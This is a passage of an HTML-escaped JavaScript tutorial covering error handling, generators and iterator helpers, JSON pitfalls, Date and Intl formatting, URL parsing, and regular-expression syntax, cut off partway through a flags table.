    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;options&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ValidationError&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;field&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;field&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Could not save profile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;cause&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;   &lt;span class="c1"&gt;// keeps the original error&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;You can &lt;code&gt;throw&lt;/code&gt; anything, but &lt;strong&gt;throw &lt;code&gt;Error&lt;/code&gt; objects&lt;/strong&gt; so you get a stack trace.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Error.isError(x)&lt;/code&gt; (ES2026) is a reliable check that works across realms (iframes), unlike &lt;code&gt;instanceof&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;try/catch&lt;/code&gt; catches sync errors and &lt;code&gt;await&lt;/code&gt;ed rejections. It does &lt;strong&gt;not&lt;/strong&gt; catch errors inside un-awaited promises or callbacks.&lt;/li&gt;
&lt;li&gt;Handle global fallbacks: &lt;code&gt;window.addEventListener('unhandledrejection', ...)&lt;/code&gt; in browsers, &lt;code&gt;process.on('unhandledRejection', ...)&lt;/code&gt; in Node.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  17. Iterators and generators
&lt;/h2&gt;

&lt;p&gt;An &lt;strong&gt;iterable&lt;/strong&gt; has a &lt;code&gt;[Symbol.iterator]()&lt;/code&gt; method that returns an &lt;strong&gt;iterator&lt;/strong&gt; (an object with &lt;code&gt;next()&lt;/code&gt; returning &lt;code&gt;{ value, done }&lt;/code&gt;). &lt;code&gt;for...of&lt;/code&gt;, spread and destructuring all use this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;end&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="c1"&gt;// pauses here until next() is called&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;                                &lt;span class="c1"&gt;// [0, 1, 2]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generators are &lt;strong&gt;lazy&lt;/strong&gt;: they compute values only when asked, so they can be infinite.&lt;/p&gt;

&lt;h3&gt;
  
  
  Iterator helpers (ES2025)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nf"&gt;naturals&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;naturals&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;take&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toArray&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                  &lt;span class="c1"&gt;// [0, 4, 16, 36, 64]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Helpers: &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;take&lt;/code&gt;, &lt;code&gt;drop&lt;/code&gt;, &lt;code&gt;flatMap&lt;/code&gt;, &lt;code&gt;reduce&lt;/code&gt;, &lt;code&gt;toArray&lt;/code&gt;, &lt;code&gt;forEach&lt;/code&gt;, &lt;code&gt;some&lt;/code&gt;, &lt;code&gt;every&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;. Use &lt;code&gt;Iterator.from(iterable)&lt;/code&gt; for other iterables. &lt;code&gt;Iterator.concat(a, b)&lt;/code&gt; (ES2026) chains iterators.&lt;/p&gt;




&lt;h2&gt;
  
  
  18. JSON, dates and Intl
&lt;/h2&gt;

&lt;h3&gt;
  
  
  JSON
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;b&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// pretty print&lt;/span&gt;
&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"a":1}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                          &lt;span class="c1"&gt;// throws SyntaxError on bad input&lt;/span&gt;
&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;date&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// reviver&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;JSON.stringify&lt;/code&gt; surprises:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;undefined&lt;/code&gt;, functions and symbols are dropped in objects (become &lt;code&gt;null&lt;/code&gt; in arrays).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NaN&lt;/code&gt; and &lt;code&gt;Infinity&lt;/code&gt; become &lt;code&gt;null&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Date&lt;/code&gt; becomes an ISO string (via &lt;code&gt;toJSON&lt;/code&gt;), and does not come back as a Date.&lt;/li&gt;
&lt;li&gt;Circular references and &lt;code&gt;BigInt&lt;/code&gt; throw.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Map&lt;/code&gt; and &lt;code&gt;Set&lt;/code&gt; become &lt;code&gt;{}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Dates
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                       &lt;span class="c1"&gt;// now&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2026-10-23&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                     &lt;span class="c1"&gt;// date-only strings are parsed as UTC&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2026-10-23T10:00&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;               &lt;span class="c1"&gt;// date-time without zone is parsed as LOCAL&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                      &lt;span class="c1"&gt;// month is 0-based: 9 means October&lt;/span&gt;
&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getTime&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                   &lt;span class="c1"&gt;// ms since 1970 (Unix epoch)&lt;/span&gt;
&lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;                            &lt;span class="c1"&gt;// '2026-10-23T...Z'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Date&lt;/code&gt; is mutable, has weak time zone support, and a confusing API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Temporal&lt;/strong&gt; is the proposed modern replacement. Several blog posts list it under ES2026, but it is &lt;strong&gt;not in the ES2026 spec&lt;/strong&gt;. Check MDN and caniuse for current engine support before using it.&lt;/li&gt;
&lt;li&gt;For now: store UTC (&lt;code&gt;toISOString()&lt;/code&gt;), format with &lt;code&gt;Intl&lt;/code&gt;, or use a small library (date-fns, Day.js).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Intl (formatting without libraries)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Intl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;NumberFormat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en-IN&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;currency&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;INR&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1234567.5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// '₹12,34,567.50'&lt;/span&gt;

&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Intl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DateTimeFormat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en-IN&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;dateStyle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;medium&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;timeStyle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;short&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Intl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;RelativeTimeFormat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;numeric&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;auto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;day&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// 'yesterday'&lt;/span&gt;
&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Intl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ListFormat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;A&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;B&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;C&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;                          &lt;span class="c1"&gt;// 'A, B, and C'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also useful: &lt;code&gt;structuredClone()&lt;/code&gt;, &lt;code&gt;crypto.randomUUID()&lt;/code&gt;, &lt;code&gt;URL&lt;/code&gt; and &lt;code&gt;URLSearchParams&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://x.com/search?q=js&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;q&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;            &lt;span class="c1"&gt;// 'js'&lt;/span&gt;
&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;page&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  19. Regular expressions
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;re&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/pattern/&lt;/span&gt;&lt;span class="nx"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;re2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;RegExp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pattern&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;g&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Syntax&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;\d&lt;/code&gt; &lt;code&gt;\w&lt;/code&gt; &lt;code&gt;\s&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Digit, word char, whitespace (uppercase = opposite)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Any char except newline (use &lt;code&gt;s&lt;/code&gt; flag to include it)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;^&lt;/code&gt; &lt;code&gt;$&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Start, end&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;*&lt;/code&gt; &lt;code&gt;+&lt;/code&gt; &lt;code&gt;?&lt;/code&gt; &lt;code&gt;{2,4}&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;0+, 1+, 0 or 1, range (add &lt;code&gt;?&lt;/code&gt; to make it lazy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;[abc]&lt;/code&gt; &lt;code&gt;[^abc]&lt;/code&gt; &lt;code&gt;[a-z]&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Character classes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;(x)&lt;/code&gt; &lt;code&gt;(?:x)&lt;/code&gt; &lt;code&gt;(?&amp;lt;name&amp;gt;x)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Capture, non-capture, named capture&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;`x\&lt;/td&gt;
&lt;td&gt;y`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;(?=x)&lt;/code&gt; &lt;code&gt;(?!x)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Lookahead (positive, negative)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;(?&amp;lt;=x)&lt;/code&gt; &lt;code&gt;(?&amp;lt;!x)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Lookbehind&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;g&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All matches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;i&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Case-insensitive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;m&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;^&lt;/code&gt;/&lt;code&gt;$&lt;/code&gt; match per line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;s&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.&lt;/code&gt; matches newline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
